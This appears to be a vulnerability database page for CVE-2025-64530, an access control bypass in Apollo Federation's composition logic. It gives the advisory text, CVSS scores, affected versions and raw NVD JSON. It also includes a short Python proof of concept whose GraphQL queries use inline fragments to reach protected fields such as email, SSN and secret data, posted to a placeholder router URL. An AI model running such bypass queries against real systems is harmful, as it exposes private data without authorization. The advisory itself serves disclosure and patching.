Security Vulnerability Report
中文
CVE-2025-64530 CVSS 7.5 HIGH

CVE-2025-64530

Published: 2025-11-13 23:15:50
Last Modified: 2026-04-15 00:35:42

Description

Apollo Federation is an architecture for declaratively composing APIs into a unified graph. A vulnerability in versions of Apollo Federation's composition logic prior to 2.9.5, 2.10.4, 2.11.5, and 2.12.1 allowed some queries to Apollo Router to improperly bypass access controls on types/fields. Apollo Federation incorrectly allowed user-defined access control directives on interface types/fields, which could be bypassed by instead querying the implementing object types/fields in Apollo Router via inline fragments, for example. A fix to versions 2.9.5, 2.10.4, 2.11.5, and 2.12.1 of composition logic in Federation now disallows interfaces types and fields to contain user-defined access control directives. Some workarounds are available. Users of Apollo Rover with an unpatched composition version or are using the Apollo Studio build pipeline with Federation version 2.8 or below should manually copy the access control requirements on interface types/fields to each implementing object type/field where appropriate. Do not remove those access control requirements from the interface types/fields, as unpatched Apollo Composition will not automatically generate them in the supergraph schema. Customers not using Apollo Router access control features (`@authenticated`, `@requiresScopes`, or `@policy` directives) or not specifying access control requirements on interface types/fields are not affected and do not need to take action.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Apollo Federation < 2.9.5
Apollo Federation < 2.10.4
Apollo Federation < 2.11.5
Apollo Federation < 2.12.1
Apollo Federation 2.8.x 及以下版本(使用Apollo Studio构建管道)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-64530 PoC - Apollo Federation Access Control Bypass # Attack vector: Using inline fragments to bypass interface-level access controls # Vulnerable query that bypasses access control on interface fields VULNERABLE_QUERY = ''' query { # Using inline fragment to directly query implementing type searchUser { ... on ProtectedUser { # Bypass interface access control id email # Sensitive field - should require authentication phoneNumber # Sensitive field - should require authentication socialSecurityNum # Highly sensitive data } } } ''' # Normal query that would be blocked (accessing interface field) BLOCKED_QUERY = ''' query { searchUser { protectedInfo { # This would trigger access control sensitiveData } } } ''' # Example attack scenario def exploit_access_control_bypass(): """ Steps to exploit CVE-2025-64530: 1. Identify interface with access control directive 2. Find implementing object types 3. Use inline fragment to query implementing type fields directly 4. Bypass interface-level @authenticated or @requiresScopes """ import requests target = "https://vulnerable-apollo-router.example.com/graphql" # Crafted query exploiting the bypass exploit_payload = { "query": """ query { nodes { ... on AdminInterface { secretData internalNotes } } } """ } # No authentication required due to the vulnerability response = requests.post(target, json=exploit_payload) print(f"Status: {response.status_code}") print(f"Response: {response.text}") if __name__ == "__main__": print("CVE-2025-64530 - Apollo Federation Access Control Bypass PoC") print("This PoC demonstrates bypassing interface-level access controls") print("using inline fragments in GraphQL queries.") # Run exploit (requires target environment) # exploit_access_control_bypass()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64530", "sourceIdentifier": "[email protected]", "published": "2025-11-13T23:15:49.993", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Apollo Federation is an architecture for declaratively composing APIs into a unified graph. A vulnerability in versions of Apollo Federation's composition logic prior to 2.9.5, 2.10.4, 2.11.5, and 2.12.1 allowed some queries to Apollo Router to improperly bypass access controls on types/fields. Apollo Federation incorrectly allowed user-defined access control directives on interface types/fields, which could be bypassed by instead querying the implementing object types/fields in Apollo Router via inline fragments, for example. A fix to versions 2.9.5, 2.10.4, 2.11.5, and 2.12.1 of composition logic in Federation now disallows interfaces types and fields to contain user-defined access control directives. Some workarounds are available. Users of Apollo Rover with an unpatched composition version or are using the Apollo Studio build pipeline with Federation version 2.8 or below should manually copy the access control requirements on interface types/fields to each implementing object type/field where appropriate. Do not remove those access control requirements from the interface types/fields, as unpatched Apollo Composition will not automatically generate them in the supergraph schema. Customers not using Apollo Router access control features (`@authenticated`, `@requiresScopes`, or `@policy` directives) or not specifying access control requirements on interface types/fields are not affected and do not need to take action."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-288"}]}], "references": [{"url": "https://github.com/apollographql/federation/security/advisories/GHSA-mx7m-j9xf-62hw", "source": "[email protected]"}]}}